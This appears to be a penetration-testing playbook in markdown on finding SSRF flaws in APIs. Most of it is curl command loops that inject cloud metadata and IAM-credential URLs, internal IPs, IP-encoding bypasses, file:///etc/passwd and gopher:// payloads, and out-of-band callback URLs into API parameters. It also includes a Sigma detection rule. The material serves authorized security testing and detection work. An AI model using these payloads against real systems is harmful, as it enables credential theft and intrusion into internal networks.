<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-server-side-request-forgery-via-api
description: >-
  Test APIs for Server-Side Request Forgery (SSRF) by injecting internal URLs,
  cloud metadata endpoints, and protocol handlers into API parameters that
  trigger server-side HTTP requests.
domain: cybersecurity
subdomain: api-security
tags:
  - ssrf
  - api-security
  - owasp-api7
  - cloud-metadata
  - internal-network
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1552.005"]
  owasp-api: ["API7"]
  tools: ["curl", "burp-suite", "nuclei", "ffuf"]
---

# Testing Server-Side Request Forgery via API

## Overview

SSRF via API occurs when an API accepts URLs or network addresses as input
and makes server-side requests without proper validation. Attackers pivot
through the server to reach internal services, cloud metadata endpoints,
and protected networks. OWASP API7:2023 covers Server Side Request Forgery.

## Prerequisites

- Tools: ["curl", "burp-suite", "nuclei", "ffuf"]
- Collaborator/callback server (Burp Collaborator, interactsh, or webhook.site)
- Knowledge of target cloud provider (AWS/GCP/Azure metadata endpoints)
- Authorized testing engagement with written scope

## Key Concepts

- **Basic SSRF**: Server fetches attacker-controlled URL
- **Blind SSRF**: No response returned; detect via out-of-band callback
- **Cloud metadata SSRF**: Access instance metadata (169.254.169.254)
- **Protocol smuggling**: Using file://, gopher://, dict:// schemes

## Workflow

### Step 1: Identify SSRF-Vulnerable Parameters

```bash
# Find parameters that accept URLs
grep -rE '(url|uri|link|href|src|redirect|callback|webhook|fetch|load|import)' \
  openapi.yaml | grep -i 'string'

# Common SSRF-vulnerable API patterns
# - Webhook registration: POST /api/webhooks {url: "..."}
# - Image/file import: POST /api/import {url: "..."}
# - PDF generation: POST /api/render {template_url: "..."}
# - Link preview: POST /api/preview {link: "..."}
```

### Step 2: Test Internal Network Access

```bash
# Cloud metadata endpoints
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  "http://127.0.0.1:80"
  "http://localhost:8080/admin"
  "http://[::1]:80"
  "http://0.0.0.0:80"
  "http://10.0.0.1"
  "http://192.168.1.1"
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  RESP=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"$TARGET\"}" \
    "https://target.com/api/webhooks")
  echo "$TARGET: HTTP $RESP"
done
```

### Step 3: Test URL Bypass Techniques

```bash
# IP address encoding bypasses
BYPASSES=(
  "http://0x7f000001"
  "http://2130706433"
  "http://017700000001"
  "http://127.1"
  "http://127.0.0.1.nip.io"
  "http://localtest.me"
  "http://spoofed.burpcollaborator.net"
  "http://target.com@127.0.0.1"
  "http://127.0.0.1#@target.com"
)

for BYPASS in "${BYPASSES[@]}"; do
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"$BYPASS\"}" \
    "https://target.com/api/import" | head -c 200
  echo "---"
done

# Protocol smuggling
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.com/api/import"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_INFO"}' \
  "https://target.com/api/import"
```

### Step 4: Blind SSRF via Out-of-Band

```bash
# Using interactsh for callback detection
interactsh-client -v 2>&1 &
CALLBACK_URL="http://UNIQUE_ID.interact.sh"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"webhook_url\":\"$CALLBACK_URL\"}" \
  "https://target.com/api/webhooks"

# Using webhook.site
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback":"https://webhook.site/YOUR-UUID"}' \
  "https://target.com/api/notifications/configure"
```

### Step 5: Nuclei SSRF Scanning

```bash
nuclei -u https://target.com -t http/vulnerabilities/ssrf/ \
  -H "Authorization: Bearer $TOKEN" -severity critical,high

nuclei -u https://target.com -t http/vulnerabilities/ssrf-detect.yaml \
  -oast-url interact.sh
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Internal IP in request params | WAF | URLs pointing to RFC1918 or link-local |
| Metadata endpoint access | Cloud logs | Requests to 169.254.169.254 |
| DNS for internal names | DNS logs | Server resolving internal hostnames |
| Unusual outbound connections | Network logs | Server connecting to unexpected IPs |

```yaml
title: SSRF Attempt — Internal IP in API Parameter
id: e5f6a7b8-c9d0-1234-efab-345678901234
status: experimental
description: Detects API requests containing internal IP addresses in URL parameters
logsource:
  category: webserver
detection:
  selection:
    cs-method:
      - POST
      - PUT
    cs-body|re: '(127\.\d+\.\d+\.\d+|10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+|169\.254\.169\.254|0x7f)'
  condition: selection
falsepositives:
  - Internal service registration that legitimately uses private IPs
level: high
tags:
  - attack.t1190
  - attack.t1552.005
```

## Verification

- [ ] All URL-accepting parameters tested with internal targets
- [ ] Cloud metadata endpoints tested for each provider
- [ ] URL parsing bypasses tested (IP encoding, DNS rebinding)
- [ ] Protocol handlers tested (file://, gopher://)
- [ ] Blind SSRF tested via out-of-band callbacks
- [ ] Allowlist validation confirmed for outbound requests

## References

- [OWASP API7:2023 — Server Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)
- [MITRE ATT&CK T1190](https://attack.mitre.org/techniques/T1190/)
- [PayloadsAllTheThings — SSRF](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
